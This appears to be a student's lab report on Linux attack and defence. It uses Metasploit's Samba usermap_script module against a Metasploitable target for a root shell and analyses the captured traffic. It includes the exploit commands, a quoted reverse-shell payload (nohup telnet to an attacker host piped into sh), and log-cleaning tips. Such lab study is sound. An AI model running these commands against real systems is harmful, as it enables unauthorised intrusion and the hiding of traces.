20221905 2022-2023-2 《网络攻防实践》 第7周作业

一、实践内容

(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击; ⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

1.1 Linux操作系统基本框架概述

Linux除了开源和免费外,还具备以下优势:跨平台硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能等。

Linux系统结构包括Linux进程与线程管理机制、Linux内存管理机制、Linux文件系统管理机制、Linux设备控制机制、Linux网络机制、Linux系统调用机制。

1.2 Linux操作系统安全机制

与Windows操作系统类似,Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计三部分。

1.2.1 Linux身份认证机制

Linux用户:root根用户、普通用户、系统用户
Linux用户组:具有相同特征的用户账号集合,用于简化系统的用户权限管理
Linux的本地登陆用户认证机制
Linux的远程登录用户认证机制
Linxu的统一身份认证中间件——PAM:PAM支持的四种管理界面:认证管理、账户管理、密码管理、会话管理

1.2.2 Linux授权访问控制机制

Linux虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来尽心系统的授权与访问控制。

1.2.3 Linux安全审计机制

Linux安全审计机制主要通过三个主要日志(连接时间日志、进程统计日志、错误日志记录)子系统来实现,Linux系统事件日志在文件系统中的存储路径集中在/var/log目录。

连接时间日志:由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等用户登 录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。

进程统计日志:由系统内核执行,当一个进程终止时,为每个进程往进程统计文件中写一个纪录。 进程统计的目的是为系统中的基本服务提供命令使用统计。

错误日志记录:由通用的日志记录服务syslogd(8)执行,各种系统守护进程、用户程序和内核通 过syslog向文件/var/log/messages报告值得注意的事件。

1.3 Linux系统远程攻防技术

1.3.1 Linux远程口令字猜测攻击

对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。

支持攻击者进行自动化远程口令猜测工具有Brutus、THC Hydra、Cain and Abel等。
针对远程口令猜测攻击的最佳防御措施是使用不易猜中的强口令字,比如设置包含字母、字母和标点符号的8字符以上口令等。

1.3.2 Linux网络服务远程渗透攻击

发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地Shell的访问权。
Linux系统中容易被远程渗透攻击的网络服务有:Linux内核中的网络协议栈实现,LAMP Web网站构建解决方案中的网络服务,FTP、Samba、NFS等文件共享服务,电子邮件收发服务,其他网络服务(OpeSSH、OpenSSL等)。

针对网络服务远程渗透攻击的安全防范措施有:禁用所有不必要网路服务、尽量选择更安全的网络协议与服务软件并使用最佳安全实践进行部署、及时更新网络服务版本、使用xinetd和防火墙为Linux网络服务添加网络访问控制机制、建立入侵检测与应急响应计划流程等。

1.3.3 攻击Linux客户端程序和用户

通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。

互联网用户最常用的客户端程序主要为Web浏览器和电子邮件客户端,而Linux系统最易被攻击的是Mozilla出品的Firefox浏览器和Thunderbird电子邮件客户端软件。除了利用客户端程序中的安全漏洞实施渗透攻击之外,有经验的攻击者往往会通过对服务器管理员进行Google Hacking和社会工程学攻击。

针对客户端与用户攻击的安全防范措施有急事更新常用网络客户端软件、提高自身的抗欺骗能力避免社会工程学攻击等。

1.3.4 攻击Linux路由器和监听器

在Linux系统作为连接多个网络的路由器,或者打开“混杂模式” 实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
Linux系统上用来实施监听与入侵检测的主流开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统等。

针对路由器与监听器攻击的安全防范措施有及时关注厂商的安全威胁报告并及时修补安全问题、在建设网络安全体系时多从攻击者角度思考问题并尝试渗透攻击测试以确保安全性、关注使用的安全设备与软件自身的安全性且及时修补等。

1.4 Linux 系统本地安全攻防技术

1.4.1 Linux本地提取

破解root用户的口令,用su或sudo提取;
发掘并利用su或sudo程序中的安全漏洞;
攻击用户态SUID特权提升漏洞:针对SUID程序的本地缓冲溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击、针对SUID程序的共享函数库的攻击;
攻击Linux内核代码特权提升漏洞;
从系统中搜索全局可写的敏感文件与目录位置并加以利用;

防范措施:及时进行特权代码和内核的升级以修补本地特权安全漏洞;避免使用root用户进行日常操作等。

1.4.2 Linux上的消踪灭迹

主要审计日志机制在/var/log目录下,主要由系统核心进程、syslogd与各个网络服务提供事件审计功能。
改变当前活动的日志,往往查看/etc/syslog.cnf配置文件内容,系统对认证授权的记录。在/var/log/auth.log中,一些系统报警、信息、认证等日志在/var/log/messages文件中。清理在Shell程序中所输入的命令历史记录。

防范措施:将日志信息写到难以修改的媒介。

1.4.3 Linux系统远程控制后门程序

特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具。

二、实践过程

2.1 使用Metasploit进行Linux远程渗透攻击

(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击; ⑥查看是否正确得到远程Shell,并查看获得的权限。

(1)首先通过输入 sudo msfconsole 指令进入操作台。

在这里插入图片描述

(2)然后通过 search usermap_script 查找漏洞信息,然后通过 use exploit/multi/samba/usermap_script 使用相关攻击脚本,接着使用 show payloads查看payload类型。

在这里插入图片描述

在这里插入图片描述

(3)接着使用 set payload cmd/unix/reverse 选择攻击PAYLOAD,反向连接。然后分别使用 set LHOST 192.168.200.6 (kali)set RHOST 192.168.200.125(Metasploitable_Linux) 进行表示攻击机IP地址和靶机IP地址设置。设置完成后,使用 exploit 进行攻击。

在这里插入图片描述

(4)攻击完成后,根据提示操作得到远程shell,并且使用 ifconfig 查询靶机IP,靶机IP成功获取。通过和靶机ifconfig查询结果对比,IP均为192.168.200.125,表明攻击成功。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

(5)最后我们使用 cd /home/msfadmin进入msfadmin 用户下,使用 mkdir wjh 指令创建了wjh目录。通过对比攻击机和靶机查询结果,发现远程创建目录成功,这说明我们已经获得了靶机的文档操作权。

在这里插入图片描述

在这里插入图片描述

(6)再通过 whoami 查询,发现我们已经获得了root权限,而靶机仍然是非root账号登录,这表明提权成功。

在这里插入图片描述

在这里插入图片描述

2.2 攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

本任务选择攻击的漏洞为任务一所攻击漏洞,因此攻击操作与任务一相同,并且在上一实验中给出了如何获得root权限,此处不再赘述,下面主要对Wireshark抓包内容进行分析。

注:自己既是攻击方,也是防守方
攻击方IP:192.168.200.6
防守方IP:192.168.200.125

在这里插入图片描述

(1)通过对Wireshark抓包分析,我们可以得到攻击者IP为192.168.200.6,目标IP为192.168.200.125,目标端口为139。经过查询可知139号端口是Unix中的Samba服务端口,可知攻击利用了Samba服务漏洞。攻击发起时间是从ARP协议的询问开始。

在这里插入图片描述

(2)从第一个SMB数据包中找到shellcode如图所示。其中,nohup是no hang up的缩写,就是不挂断的意思,用nohup运行命令可以使命令永久的执行下去,和用户终端没有关系;telnet 192.168.200.7 4444表明数据是通过4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令,是shell的解释器。

在这里插入图片描述

(3)再通过进一步的tcp流分析,我们可以看到成功之后在本地执行命令的信息。

在这里插入图片描述

在这里插入图片描述

三、学习中遇到的问题及解决

在第一部分实验中第五部分远程创建目录时,忘记查询靶机在创建前的结果了。

四、学习感想和体会

本次实验比较简单,很顺利的做完了,在做的过程中几乎没有遇到像之前的实验那样卡很久的问题。通过这次实验学习了Linux远程渗透攻击,对Linux操作系统安全机制等有了进一步了解。

五、参考资料

https://www.cnblogs.com/ql5199/p/16189367.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值